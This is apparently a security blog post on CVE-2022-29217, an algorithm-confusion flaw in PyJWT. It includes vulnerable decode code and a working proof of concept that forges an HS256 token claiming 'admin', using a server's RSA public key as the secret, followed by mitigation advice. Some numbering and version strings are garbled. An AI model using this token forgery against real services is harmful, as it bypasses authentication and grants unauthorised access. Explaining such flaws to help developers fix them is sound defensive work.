PyJWT is a popular Python library for working with JSON Web Tokens (JWT), following RFC 7519. While JWT helps manage authentication securely, a 2022 security flaw in PyJWT, tracked as CVE-2022-29217, shows how small misconfigurations can open the door for attackers. In this post, we’ll break down what happened, show you exactly how an attacker could exploit it, and, importantly, tell you how to fix or dodge this risk.
What Is CVE-2022-29217?
PyJWT allows you to sign tokens with different cryptographic algorithms, like HS256 (HMAC), RS256 (RSA), and ES256 (ECDSA). When verifying a token, you *must* specify what algorithms your app can decode with. However, some developers fetch all supported algorithms at once, like this:
import jwt
decoded = jwt.decode(token, key, algorithms=jwt.algorithms.get_default_algorithms())
If you do this, PyJWT will accept *any* algorithm supported—which is a problem, because an attacker could create a JWT using a weak or unintended algorithm, and slip past your authentication checks. This is called an algorithm confusion attack.
Exploit Details: How Attackers Abuse This
Let’s say your server uses RS256 (asymmetric crypto) to sign JWTs. The attacker doesn’t need your private key if you accidentally accept *all* algorithms. They could create a token using HS256 (which uses a secret key, not a public/private pair) and trick your application into verifying it with the public key, which, when misused as a secret, would validate the token.
Example Code: Vulnerable JWT Verification
# This is vulnerable
import jwt
public_key = open("public_key.pem").read()
token = "attacker_token_here"
payload = jwt.decode(token, public_key, algorithms=jwt.algorithms.get_default_algorithms())
print(payload)
Attacker generates a JWT using HS256 and uses the server’s public key as the HMAC secret.
2. The server allows all algorithms, so it *thinks* it’s verifying an RS256 token, but really it’s verifying with HS256, using the public key as a secret.
1. Simulate a server’s RS256 keypair
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import rsa
# Generate keys (demo purposes; use secure storage in real apps)
key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
priv_pem = key.private_bytes(encoding=serialization.Encoding.PEM,
format=serialization.PrivateFormat.PKCS8,
encryption_algorithm=serialization.NoEncryption())
pub_pem = key.public_key().public_bytes(encoding=serialization.Encoding.PEM,
format=serialization.PublicFormat.SubjectPublicKeyInfo)
with open('private_key.pem', 'wb') as f:
f.write(priv_pem)
with open('public_key.pem', 'wb') as f:
f.write(pub_pem)
2. Attacker creates their own token (with HS256 using public key as secret)
import jwt
public_key = open('public_key.pem').read()
payload = {'user': 'admin'}
fake_token = jwt.encode(payload, public_key, algorithm="HS256")
print(fake_token)
3. Run on the vulnerable server
import jwt
public_key = open('public_key.pem').read()
token = 'xxx.yyy.zzz' # Use the token printed earlier
payload = jwt.decode(token, public_key, algorithms=jwt.algorithms.get_default_algorithms())
print(payload)
If you run this, the server accepts a token signed with the public key as a secret, thinking it’s valid!
What’s the Real-World Risk?
- This only affects apps that decode JWTs using _all_ possible algorithms (i.e., with jwt.algorithms.get_default_algorithms()).
Get version 2.4. or newer.
- PyPI: https://pypi.org/project/PyJWT/2.4./
- Release notes: https://github.com/jpadilla/pyjwt/releases/tag/v2.4.
### 2. Never allow automatic/fetching of all algorithms
- Always be explicit
payload = jwt.decode(token, public_key, algorithms=["RS256"]) # for RS256 only
3. Audit Your Code
- Search for algorithms=jwt.algorithms.get_default_algorithms() or algorithms=None in your codebase.
[ ] Always hardcoding allowed algorithms?
- [ ] No use of broad/automatic algorithm lists?
References
- Original PyJWT GitHub Advisory
- NVD National Vulnerability Database CVE Entry
- PyJWT Documentation
Wrap-up
CVE-2022-29217 is a great reminder: always be specific with your security settings, especially with libraries that support many options. Never trust defaults blindly, and always keep dependencies up to date. With just a few lines, you can avoid subtle but dangerous vulnerabilities like this one.
Timeline
Published on: 05/24/2022 15:15:00 UTC
Last modified on: 06/07/2022 14:40:00 UTC